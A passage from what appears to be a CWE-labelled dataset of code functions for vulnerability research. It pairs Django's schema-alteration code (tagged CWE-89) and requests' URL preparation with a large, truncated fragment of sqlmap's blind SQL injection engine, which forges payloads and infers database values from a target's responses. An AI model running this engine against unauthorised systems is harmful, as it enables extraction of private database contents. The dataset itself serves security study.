        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,1c57d7e7faaeadb7f32e01586da7997d11df1ad9,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.rel and
                (fks_dropped or not old_field.rel or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/kennethreitz/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode('utf8')
        else:
            url = unicode(url) if is_py2 else str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if ':' in url and not url.lower().startswith('http'):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
            error = error.format(to_native_string(url, 'utf8'))

            raise MissingSchema(error)

        if not host:
            raise InvalidURL(""Invalid URL %r: No host supplied"" % url)

        # In general, we want to try IDNA encoding every hostname, as that
        # allows users to automatically get the correct behaviour. However,
        # we’re quite strict about IDNA encoding, so certain valid hostnames
        # may fail to encode. On failure, we verify the hostname meets a
        # minimum standard of only containing ASCII characters, and not starting
        # with a wildcard (*), before allowing the unencoded hostname through.
        try:
            host = idna.encode(host, uts46=True).decode('utf-8')
        except (UnicodeError, idna.IDNAError):
            if not unicode_is_ascii(host) or host.startswith(u'*'):
                raise InvalidURL('URL has an invalid label.')

        # Carefully reconstruct the network location
        netloc = auth or ''
        if netloc:
            netloc += '@'
        netloc += host
        if port:
            netloc += ':' + str(port)

        # Bare domains aren't valid URLs.
        if not path:
            path = '/'

        if is_py2:
            if isinstance(scheme, str):
                scheme = scheme.encode('utf-8')
            if isinstance(netloc, str):
                netloc = netloc.encode('utf-8')
            if isinstance(path, str):
                path = path.encode('utf-8')
            if isinstance(query, str):
                query = query.encode('utf-8')
            if isinstance(fragment, str):
                fragment = fragment.encode('utf-8')

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = '%s&%s' % (query, enc_params)
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url",,psf/requests,7d2dfa86841fae49fa82f4f59098d5be862d1ba0,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/kennethreitz/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode('utf8')
        else:
            url = unicode(url) if is_py2 else str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data`, `http+unix` etc to work around exceptions from `url_parse`,
        # which handles RFC 3986 only.
        if ':' in url and not url.lower().startswith(('http://', 'https://')):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
            error = error.format(to_native_string(url, 'utf8'))

            raise MissingSchema(error)

        if not host:
            raise InvalidURL(""Invalid URL %r: No host supplied"" % url)

        # In general, we want to try IDNA encoding every hostname, as that
        # allows users to automatically get the correct behaviour. However,
        # we’re quite strict about IDNA encoding, so certain valid hostnames
        # may fail to encode. On failure, we verify the hostname meets a
        # minimum standard of only containing ASCII characters, and not starting
        # with a wildcard (*), before allowing the unencoded hostname through.
        try:
            host = idna.encode(host, uts46=True).decode('utf-8')
        except (UnicodeError, idna.IDNAError):
            if not unicode_is_ascii(host) or host.startswith(u'*'):
                raise InvalidURL('URL has an invalid label.')

        # Carefully reconstruct the network location
        netloc = auth or ''
        if netloc:
            netloc += '@'
        netloc += host
        if port:
            netloc += ':' + str(port)

        # Bare domains aren't valid URLs.
        if not path:
            path = '/'

        if is_py2:
            if isinstance(scheme, str):
                scheme = scheme.encode('utf-8')
            if isinstance(netloc, str):
                netloc = netloc.encode('utf-8')
            if isinstance(path, str):
                path = path.encode('utf-8')
            if isinstance(query, str):
                query = query.encode('utf-8')
            if isinstance(fragment, str):
                fragment = fragment.encode('utf-8')

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = '%s&%s' % (query, enc_params)
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    showEta = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
            pass
        elif PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, """")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good samaritan"") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, ""isdigit"") and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif hasattr(firstChar, ""isdigit"") and firstChar.isdigit() or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r""(?i)\b(LENGTH|LEN)\("", expression):
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, ""isdigit"") and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif hasattr(lastChar, ""isdigit"") and lastChar.isdigit() or isinstance(lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if hasattr(length, ""isdigit"") and length.isdigit() or isinstance(length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)

        if kb.bruteMode:
            numThreads = 1
        else:
            numThreads = min(conf.threads or 0, length or 0) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if numThreads > 1:
            if not timeBasedCompare or kb.forceThreads:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
            if isinstance(length, int) and numThreads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if payload is not None and len(hintValue or """") > 0 and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue)
                result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = """"

            return None

        def validateChar(idx, value):
            """"""
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """"""

            validationPayload = re.sub(r""(%s.*?)%s(.*?%s)"" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r""\g<1>%s\g<2>"" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare and getTechniqueData().trueCode:
                result = threadData.lastCode == getTechniqueData().trueCode
                if not result:
                    warnMsg = ""detected HTTP code '%s' in validation phase is differing from expected '%s'"" % (threadData.lastCode, getTechniqueData().trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(getTechnique())

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                                except IndexError:
                                    lastChar = None
                                else:
                                    if 'a' <= lastChar <= 'z':
                                        position = charTbl.index(ord('a') - 1)  # 96
                                    elif 'A' <= lastChar <= 'Z':
                                        position = charTbl.index(ord('A') - 1)  # 64
                                    elif '0' <= lastChar <= '9':
                                        position = charTbl.index(ord('0') - 1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)
                        if unexpectedCode:
                            warnMsg = ""unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if (retried or 0) < MAX_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = ""increasing time delay to %d second%s"" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = ""turning off time auto-adjustment mechanism""
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, ""&%d%s"" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if numThreads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = "".."" + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + ""..""

                                if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)):
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
